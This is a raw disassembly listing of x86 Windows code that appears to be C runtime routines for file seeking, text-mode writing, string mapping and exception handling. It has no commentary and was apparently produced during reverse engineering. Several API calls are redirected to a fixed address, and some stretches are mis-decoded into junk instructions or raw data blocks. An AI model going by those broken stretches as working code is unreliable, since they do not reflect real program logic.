call sub_4249C0
pop ecx
pop ecx
test eax, eax
jz loc_422682
push 1
push edi
call sub_4249DC
pop ecx
pop ecx
test eax, eax
jz short loc_422682
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_42270D
pop ecx
pop ecx
push eax
push edi
call sub_41CE80
add esp, 0Ch
jmp short loc_422687
; ---------------------------------------------------------------------------
loc_422621: ; CODE XREF: sub_4224E2+103j
call sub_4249C0
pop ecx
pop ecx
test eax, eax
jz short loc_422682
push 1
push edi
call sub_4249DC
pop ecx
pop ecx
test eax, eax
jz short loc_422682
push dword ptr [esi+18h]
call near ptr loc_4249F3+5
pop ecx
test eax, eax
jz short loc_422682
test byte ptr [esi], 4
jz short loc_422668
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_42270D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41CAB9
jmp short loc_422687
; ---------------------------------------------------------------------------
loc_422668: ; CODE XREF: sub_4224E2+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_42270D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41CAB2
jmp short loc_422687
; ---------------------------------------------------------------------------
loc_422682: ; CODE XREF: sub_4224E2+6Aj
; sub_4224E2+7Cj ...
call sub_4227D2
loc_422687: ; CODE XREF: sub_4224E2+98j
; sub_4224E2+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_42268B: ; CODE XREF: sub_4224E2+2Ej
; sub_4224E2+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4224E2 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42277C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226A6 proc near ; CODE XREF: sub_421FD1+170p
; sub_422472+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428900
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_4226ED
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_4226ED
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41CAB2
or [ebp+var_4], 0FFFFFFFFh
loc_4226ED: ; CODE XREF: sub_4226A6+2Aj
; sub_4226A6+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4226A6 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42277C
; =============== S U B R O U T I N E =======================================
sub_42270D proc near ; CODE XREF: sub_4224E2+8Fp
; sub_4224E2+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_42272E
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_42272E: ; CODE XREF: sub_42270D+12j
pop esi
retn
sub_42270D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422730 proc near ; CODE XREF: sub_41CB45+40p
; sub_42227D+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41CE31
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42276F
mov ecx, 2
loc_42276F: ; CODE XREF: sub_422730+38j
push ecx
call sub_41CE31
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422730 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42277C proc near ; CODE XREF: sub_421FD1:loc_422173j
; sub_42231B:loc_42232Cj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424A10 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428910
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, ds:dword_4DDF68
test eax, eax
jz short loc_4227C4
mov [ebp+var_4], 1
call eax
jmp short loc_4227C0
; ---------------------------------------------------------------------------
loc_4227B9: ; DATA XREF: seg001:00428920o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4227BD: ; DATA XREF: seg001:00428924o
mov esp, [ebp+var_18]
loc_4227C0: ; CODE XREF: sub_42277C+3Bj
and [ebp+var_4], 0
loc_4227C4: ; CODE XREF: sub_42277C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_4227CD: ; DATA XREF: seg001:00428918o
jmp loc_424A10
sub_42277C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227D2 proc near ; CODE XREF: sub_41CCE7+23p
; sub_41CCE7:loc_41CD52p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428928
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, ds:off_43F554
test eax, eax
jz short loc_42281A
mov [ebp+var_4], 1
call eax ; sub_42277C
jmp short loc_422816
; ---------------------------------------------------------------------------
loc_42280F: ; DATA XREF: seg001:00428938o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422813: ; DATA XREF: seg001:0042893Co
mov esp, [ebp+var_18]
loc_422816: ; CODE XREF: sub_4227D2+3Bj
and [ebp+var_4], 0
loc_42281A: ; CODE XREF: sub_4227D2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422823: ; DATA XREF: seg001:00428930o
jmp sub_42277C
sub_4227D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422828 proc near ; CODE XREF: sub_41D1C3+7p
; sub_41D1C3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, ds:dword_4DF548
push esi
cmp eax, 3
jnz short loc_422851
mov esi, [ebp+arg_0]
push esi
call sub_41E097
test eax, eax
pop ecx
jz short loc_42284E
mov eax, [esi-4]
sub eax, 9
jmp short loc_422886
; ---------------------------------------------------------------------------
loc_42284E: ; CODE XREF: sub_422828+1Cj
push esi
jmp short loc_422878
; ---------------------------------------------------------------------------
loc_422851: ; CODE XREF: sub_422828+Ej
cmp eax, 2
jnz short loc_422875
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41EDF2
add esp, 0Ch
test eax, eax
jz short loc_422875
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422886
; ---------------------------------------------------------------------------
loc_422875: ; CODE XREF: sub_422828+2Cj
; sub_422828+43j
push [ebp+arg_0]
loc_422878: ; CODE XREF: sub_422828+27j
push 0
push ds:dword_4DF544
call ds:dword_428058 ; RtlSizeHeap
loc_422886: ; CODE XREF: sub_422828+24j
; sub_422828+4Bj
pop esi
leave
retn
sub_422828 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+8]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_422945
cmp ebx, 8Ah
jg loc_422945
push esi
push edi
mov edi, [ebp+0Ch]
mov esi, ds:dword_43FA1C[edi*4]
add esi, [ebp+10h]
test bl, 3
jnz short loc_4228C8
cmp edi, 2
jle short loc_4228C8
inc esi
loc_4228C8: ; CODE XREF: seg000:004228C0j
; seg000:004228C5j
call sub_424A27
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp-8], esi
add edx, ecx
mov [ebp-10h], ebx
add eax, edx
mov edx, [ebp+1Ch]
lea ecx, [eax+eax*2]
mov eax, [ebp+14h]
mov [ebp-1Ch], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+18h]
imul ecx, 3Ch
add ecx, ds:dword_43F938
dec edi
cmp dword ptr [ebp+20h], 1
mov [ebp-14h], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+8], ecx
jz short loc_42293B
cmp dword ptr [ebp+20h], 0FFFFFFFFh
jnz short loc_422941
cmp ds:dword_43F93C, 0
jz short loc_422941
lea eax, [ebp-24h]
push eax
call sub_424C9A
pop ecx
mov ecx, [ebp+8]
test eax, eax
jz short loc_422941
loc_42293B: ; CODE XREF: seg000:00422919j
add ecx, ds:dword_43F940
loc_422941: ; CODE XREF: seg000:0042291Fj
; seg000:00422928j ...
mov eax, ecx
jmp short loc_422948
; ---------------------------------------------------------------------------
loc_422945: ; CODE XREF: seg000:0042289Cj
; seg000:004228A8j
or eax, 0FFFFFFFFh
loc_422948: ; CODE XREF: seg000:00422943j
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_42294B proc near ; DATA XREF: seg002:0042A028o
mov eax, ds:dword_4DF300
push esi
push 14h
test eax, eax
pop esi
jnz short loc_42295F
mov eax, 200h
jmp short loc_422965
; ---------------------------------------------------------------------------
loc_42295F: ; CODE XREF: sub_42294B+Bj
cmp eax, esi
jge short loc_42296A
mov eax, esi
loc_422965: ; CODE XREF: sub_42294B+12j
mov ds:dword_4DF300, eax
loc_42296A: ; CODE XREF: sub_42294B+16j
push 4
push eax
call sub_424F86
pop ecx
mov ds:dword_4DE2E4, eax
test eax, eax
pop ecx
jnz short loc_42299E
push 4
push esi
mov ds:dword_4DF300, esi
call sub_424F86
pop ecx
mov ds:dword_4DE2E4, eax
test eax, eax
pop ecx
jnz short loc_42299E
push 1Ah
call sub_41DC49
pop ecx
loc_42299E: ; CODE XREF: sub_42294B+30j
; sub_42294B+49j
xor ecx, ecx
mov eax, offset off_43F558
loc_4229A5: ; CODE XREF: sub_42294B+6Ej
mov edx, ds:dword_4DE2E4
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43F7D8
jl short loc_4229A5
xor edx, edx
mov ecx, offset dword_43F568
loc_4229C2: ; CODE XREF: sub_42294B+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, ds:dword_4DE1E0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4229DF
test eax, eax
jnz short loc_4229E2
loc_4229DF: ; CODE XREF: sub_42294B+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4229E2: ; CODE XREF: sub_42294B+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43F5C8
jl short loc_4229C2
pop esi
retn
sub_42294B endp
; =============== S U B R O U T I N E =======================================
sub_4229F0 proc near ; DATA XREF: seg002:0042A038o
; FUNCTION CHUNK AT 00425037 SIZE 00000058 BYTES
call sub_41DE07
cmp ds:byte_4DDEF4, 0
jz short locret_422A03
jmp loc_425037
; ---------------------------------------------------------------------------
locret_422A03: ; CODE XREF: sub_4229F0+Cj
retn
sub_4229F0 endp
; =============== S U B R O U T I N E =======================================
sub_422A04 proc near ; CODE XREF: seg000:0041D474p
; sub_41F33C+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, ds:dword_4DE2E0
push esi
push edi
jnb short loc_422A86
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DE1E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_422A86
push eax
call sub_423BA6
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_422A48
mov ds:dword_4DDEB4, 9
jmp short loc_422A97
; ---------------------------------------------------------------------------
loc_422A48: ; CODE XREF: sub_422A04+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call ds:dword_428120 ; SetFilePointer
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_422A68
call ds:dword_42808C ; RtlGetLastWin32Error
jmp short loc_422A6A
; ---------------------------------------------------------------------------
loc_422A68: ; CODE XREF: sub_422A04+5Aj
xor eax, eax
loc_422A6A: ; CODE XREF: sub_422A04+62j
test eax, eax
jz short loc_422A77
push eax
call sub_4205FF
pop ecx
jmp short loc_422A97
; ---------------------------------------------------------------------------
loc_422A77: ; CODE XREF: sub_422A04+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_422A9A
; ---------------------------------------------------------------------------
loc_422A86: ; CODE XREF: sub_422A04+Dj
; sub_422A04+2Aj
and ds:dword_4DDEB8, 0
mov ds:dword_4DDEB4, 9
loc_422A97: ; CODE XREF: sub_422A04+42j
; sub_422A04+71j
or eax, 0FFFFFFFFh
loc_422A9A: ; CODE XREF: sub_422A04+80j
pop edi
pop esi
pop ebx
retn
sub_422A04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422A9E proc near ; CODE XREF: seg000:0041D437p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_422ABA
mov [edi+4], ebx
loc_422ABA: ; CODE XREF: sub_422A9E+17j
push 1
push ebx
push esi
call sub_422A04
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_422B28
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422ADF
sub eax, [edi+4]
jmp loc_422BF1
; ---------------------------------------------------------------------------
loc_422ADF: ; CODE XREF: sub_422A9E+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_422B19
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, ds:dword_4DE1E0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_422B30
mov edx, ecx
loc_422B0A: ; CODE XREF: sub_422A9E+79j
cmp edx, eax
jnb short loc_422B30
cmp byte ptr [edx], 0Ah
jnz short loc_422B16
inc [ebp+var_8]
loc_422B16: ; CODE XREF: sub_422A9E+73j
inc edx
jmp short loc_422B0A
; ---------------------------------------------------------------------------
loc_422B19: ; CODE XREF: sub_422A9E+50j
test dl, 80h
jnz short loc_422B30
mov ds:dword_4DDEB4, 16h
loc_422B28: ; CODE XREF: sub_422A9E+2Dj
or eax, 0FFFFFFFFh
jmp loc_422BF1
; ---------------------------------------------------------------------------
loc_422B30: ; CODE XREF: sub_422A9E+68j
; sub_422A9E+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_422B3E
mov eax, [ebp+var_8]
jmp loc_422BF1
; ---------------------------------------------------------------------------
loc_422B3E: ; CODE XREF: sub_422A9E+96j
test byte ptr [edi+0Ch], 1
jz loc_422BE9
mov edx, [edi+4]
test edx, edx
jnz short loc_422B57
and [ebp+var_8], edx
jmp loc_422BE9
; ---------------------------------------------------------------------------
loc_422B57: ; CODE XREF: sub_422A9E+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DE1E0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_422BE3
push 2
push 0
push [ebp+var_C]
call sub_422A04
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_422BAA
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_422B95: ; CODE XREF: sub_422A9E+104j
cmp eax, ecx
jnb short loc_422BA4
cmp byte ptr [eax], 0Ah
jnz short loc_422BA1
inc [ebp+arg_0]
loc_422BA1: ; CODE XREF: sub_422A9E+FEj
inc eax
jmp short loc_422B95
; ---------------------------------------------------------------------------
loc_422BA4: ; CODE XREF: sub_422A9E+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_422BDE
; ---------------------------------------------------------------------------
loc_422BAA: ; CODE XREF: sub_422A9E+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_422A04
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_422BD1
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_422BD1
test ch, 4
jz short loc_422BD4
loc_422BD1: ; CODE XREF: sub_422A9E+124j
; sub_422A9E+12Cj
mov eax, [edi+18h]
loc_422BD4: ; CODE XREF: sub_422A9E+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_422BDE: ; CODE XREF: sub_422A9E+10Aj
jz short loc_422BE3
inc [ebp+arg_0]
loc_422BE3: ; CODE XREF: sub_422A9E+D9j
; sub_422A9E:loc_422BDEj
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_422BE9: ; CODE XREF: sub_422A9E+A4j
; sub_422A9E+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_422BF1: ; CODE XREF: sub_422A9E+3Cj
; sub_422A9E+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_422A9E endp
; ---------------------------------------------------------------------------
loc_422BF6: ; CODE XREF: sub_41D4D4+A2p
; sub_41DDAB+2Cp ...
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+8]
push ebx
cmp ecx, ds:dword_4DE2E0
push esi
push edi
jnb loc_422D8A
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DE1E0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_422D8A
xor edi, edi
cmp [ebp+10h], edi
mov [ebp-8], edi
mov [ebp-10h], edi
jnz short loc_422C47
loc_422C40: ; CODE XREF: seg000:00422D6Dj
xor eax, eax
jmp loc_422D9E
; ---------------------------------------------------------------------------
loc_422C47: ; CODE XREF: seg000:00422C3Ej
test al, 20h
jz short loc_422C57
push 2
push edi
push ecx
call sub_422A04
add esp, 0Ch
loc_422C57: ; CODE XREF: seg000:00422C49j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_422D26
mov eax, [ebp+0Ch]
cmp [ebp+10h], edi
mov [ebp-4], eax
mov [ebp+8], edi
jbe loc_422D5E
loc_422C77: ; CODE XREF: seg000:00422CEBj
lea eax, [ebp-414h]
loc_422C7D: ; CODE XREF: seg000:00422CAFj
mov ecx, [ebp-4]
sub ecx, [ebp+0Ch]
cmp ecx, [ebp+10h]
jnb short loc_422CB1
mov ecx, [ebp-4]
inc dword ptr [ebp-4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_422C9C
inc dword ptr [ebp-10h]
mov byte ptr [eax], 0Dh
inc eax
loc_422C9C: ; CODE XREF: seg000:00422C93j
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp-414h]
sub ecx, edx
cmp ecx, 400h
jl short loc_422C7D
loc_422CB1: ; CODE XREF: seg000:00422C86j
mov edi, eax
lea eax, [ebp-414h]
sub edi, eax
lea eax, [ebp-0Ch]
push 0 ; CODE XREF: seg000:00422D38j
push eax
lea eax, [ebp-414h]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 0B10000h
xchg eax, ebp
test eax, eax
jz short loc_422D1B
mov eax, [ebp-0Ch]
add [ebp-8], eax
cmp eax, edi
jl short loc_422CED
mov eax, [ebp-4]
sub eax, [ebp+0Ch]
cmp eax, [ebp+10h]
jb short loc_422C77
loc_422CED: ; CODE XREF: seg000:00422CE0j
; seg000:00422D24j
xor edi, edi
loc_422CEF: ; CODE XREF: seg000:00422D46j
; seg000:00422D51j
mov eax, [ebp-8]
cmp eax, edi
jnz loc_422D85
cmp [ebp+8], edi
jz short loc_422D5E
push 5
pop eax
cmp [ebp+8], eax
jnz short loc_422D53
mov ds:dword_4DDEB4, 9
mov ds:dword_4DDEB8, eax
jmp loc_422D9B
; ---------------------------------------------------------------------------
loc_422D1B: ; CODE XREF: seg000:00422CD6j
call ds:dword_42808C ; RtlGetLastWin32Error
mov [ebp+8], eax
jmp short loc_422CED
; ---------------------------------------------------------------------------
loc_422D26: ; CODE XREF: seg000:00422C5Fj
lea ecx, [ebp-0Ch]
push edi
push ecx
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [eax]
call near ptr 0B10000h
jnb short near ptr loc_422CBE+1
sal byte ptr [ebx+ecx-75h], 45h
hlt
; ---------------------------------------------------------------------------
mov [ebp+8], edi
mov [ebp-8], eax
jmp short loc_422CEF
; ---------------------------------------------------------------------------
call ds:dword_42808C ; RtlGetLastWin32Error
mov [ebp+8], eax
jmp short loc_422CEF
; ---------------------------------------------------------------------------
loc_422D53: ; CODE XREF: seg000:00422D05j
push dword ptr [ebp+8]
call sub_4205FF
pop ecx
jmp short loc_422D9B
; ---------------------------------------------------------------------------
loc_422D5E: ; CODE XREF: seg000:00422C71j
; seg000:00422CFDj
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_422D73
mov eax, [ebp+0Ch]
cmp byte ptr [eax], 1Ah
jz loc_422C40
loc_422D73: ; CODE XREF: seg000:00422D65j
mov ds:dword_4DDEB4, 1Ch
mov ds:dword_4DDEB8, edi
jmp short loc_422D9B
; ---------------------------------------------------------------------------
loc_422D85: ; CODE XREF: seg000:00422CF4j
sub eax, [ebp-10h]
jmp short loc_422D9E
; ---------------------------------------------------------------------------
loc_422D8A: ; CODE XREF: seg000:00422C0Bj
; seg000:00422C2Dj
and ds:dword_4DDEB8, 0
mov ds:dword_4DDEB4, 9
loc_422D9B: ; CODE XREF: seg000:00422D16j
; seg000:00422D5Cj ...
or eax, 0FFFFFFFFh
loc_422D9E: ; CODE XREF: seg000:00422C42j
; seg000:00422D88j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_422DA3: ; CODE XREF: sub_41D7CA+47p
; sub_41D7CA+74p ...
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428948
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp-18h], esp
xor edi, edi
cmp ds:dword_4DDF90, edi
jnz short loc_422E19
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_428940
mov esi, 100h
push esi
push edi
call ds:dword_428050 ; LCMapStringW
test eax, eax
jz short loc_422DF7
mov ds:dword_4DDF90, ebx
jmp short loc_422E19
; ---------------------------------------------------------------------------
loc_422DF7: ; CODE XREF: seg000:00422DEDj
push edi
push edi
push ebx
push offset dword_4CDAB0
push esi
push edi
call near ptr 0B10000h
daa
test eax, eax
jz loc_422F31
mov ds:dword_4DDF90, 2
loc_422E19: ; CODE XREF: seg000:00422DD1j
; seg000:00422DF5j
cmp [ebp+14h], edi
jle short loc_422E2E
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
call sub_422FC7
pop ecx
pop ecx
mov [ebp+14h], eax
loc_422E2E: ; CODE XREF: seg000:00422E1Cj
mov eax, ds:dword_4DDF90
cmp eax, 2
jnz short near ptr loc_422E54+1
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 0B10000h
mov eax, 0DEE9h
loc_422E54: ; CODE XREF: seg000:00422E36j
add [ebx-7AF0FE08h], al
rol dword ptr [eax], cl
; ---------------------------------------------------------------------------
dd 7D390000h, 0A1087520h, 4DDF84h, 57204589h, 1475FF57h
dd 8B1075FFh, 0D8F72445h, 0E083C01Bh, 0FF504008h, 15FF2075h
dd 428184h, 5D89D88Bh, 0FDF3BE4h, 9C84h, 0FC7D8900h, 831B048Dh
dd 0FC2403C0h, 0FF8E6BE8h, 0E86589FFh, 4589C48Bh, 0FC4D83DCh
dd 6A13EBFFh, 8BC35801h, 0FF33E865h, 83DC7D89h, 8BFFFC4Dh
dd 7D39E45Dh, 536674DCh, 0FFDC75FFh, 75FF1475h, 0FF016A10h
dd 15FF2075h, 428184h, 4D74C085h, 0FF535757h, 75FFDC75h
dd 875FF0Ch, 805015FFh, 0F08B0042h, 3BD87589h, 0F63274F7h
dd 74040D45h, 1C7D3940h, 0B2840Fh, 753B0000h, 0FF1E7F1Ch
dd 75FF1C75h, 75FF5318h, 0C75FFDCh, 0FF0875FFh, 42805015h
dd 0FC08500h, 8F85h
db 0
; ---------------------------------------------------------------------------
loc_422F31: ; CODE XREF: seg000:00422E09j
; seg000:00422F7Bj ...
xor eax, eax
loc_422F33: ; CODE XREF: seg000:00422FC2j
lea esp, [ebp-38h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
mov dword ptr [ebp-4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BD10
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-20h], ebx
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_422F79
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
xor ebx, ebx
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-28h]
loc_422F79: ; CODE XREF: seg000:00422F65j
cmp ebx, edi
jz short loc_422F31
push esi
push ebx
push dword ptr [ebp-1Ch]
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_428050 ; LCMapStringW
test eax, eax
jz short loc_422F31
cmp [ebp+1Ch], edi
push edi
push edi
jnz short loc_422FA0
push edi
push edi
jmp short loc_422FA6
; ---------------------------------------------------------------------------
loc_422FA0: ; CODE XREF: seg000:00422F9Aj
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
loc_422FA6: ; CODE XREF: seg000:00422F9Ej
push esi
push ebx
push 220h
push dword ptr [ebp+20h]
call ds:dword_428180 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_422F31
mov eax, esi
jmp loc_422F33
; =============== S U B R O U T I N E =======================================
sub_422FC7 proc near ; CODE XREF: seg000:00422E24p
; sub_426153+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_422FE4
loc_422FD7: ; CODE XREF: sub_422FC7+1Bj
cmp byte ptr [eax], 0
jz short loc_422FE4
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_422FD7
loc_422FE4: ; CODE XREF: sub_422FC7+Ej
; sub_422FC7+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_422FEF
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_422FEF: ; CODE XREF: sub_422FC7+21j
mov eax, edx
retn
sub_422FC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422FF2 proc near ; CODE XREF: seg000:0041DC36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_423133
test eax, eax
pop ecx
jz loc_423127
mov ebx, [eax+8]
test ebx, ebx
jz loc_423127
cmp ebx, 5
jnz short loc_423023
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_423130
; ---------------------------------------------------------------------------
loc_423023: ; CODE XREF: sub_422FF2+23j
cmp ebx, 1
jz loc_423122
mov ecx, ds:dword_4DDF94
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov ds:dword_4DDF94, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_423112
mov ecx, ds:dword_43F850
mov edx, ds:dword_43F854
add edx, ecx
push esi
cmp ecx, edx
jge short loc_423072
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43F7E0h[esi*4]
loc_423069: ; CODE XREF: sub_422FF2+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_423069
loc_423072: ; CODE XREF: sub_422FF2+69j
mov eax, [eax]
mov esi, ds:dword_43F85C
cmp eax, 0C000008Eh
jnz short loc_42308D
mov ds:dword_43F85C, 83h
jmp short loc_4230FD
; ---------------------------------------------------------------------------
loc_42308D: ; CODE XREF: sub_422FF2+8Dj
cmp eax, 0C0000090h
jnz short loc_4230A0
mov ds:dword_43F85C, 81h
jmp short loc_4230FD
; ---------------------------------------------------------------------------
loc_4230A0: ; CODE XREF: sub_422FF2+A0j
cmp eax, 0C0000091h
jnz short loc_4230B3
mov ds:dword_43F85C, 84h
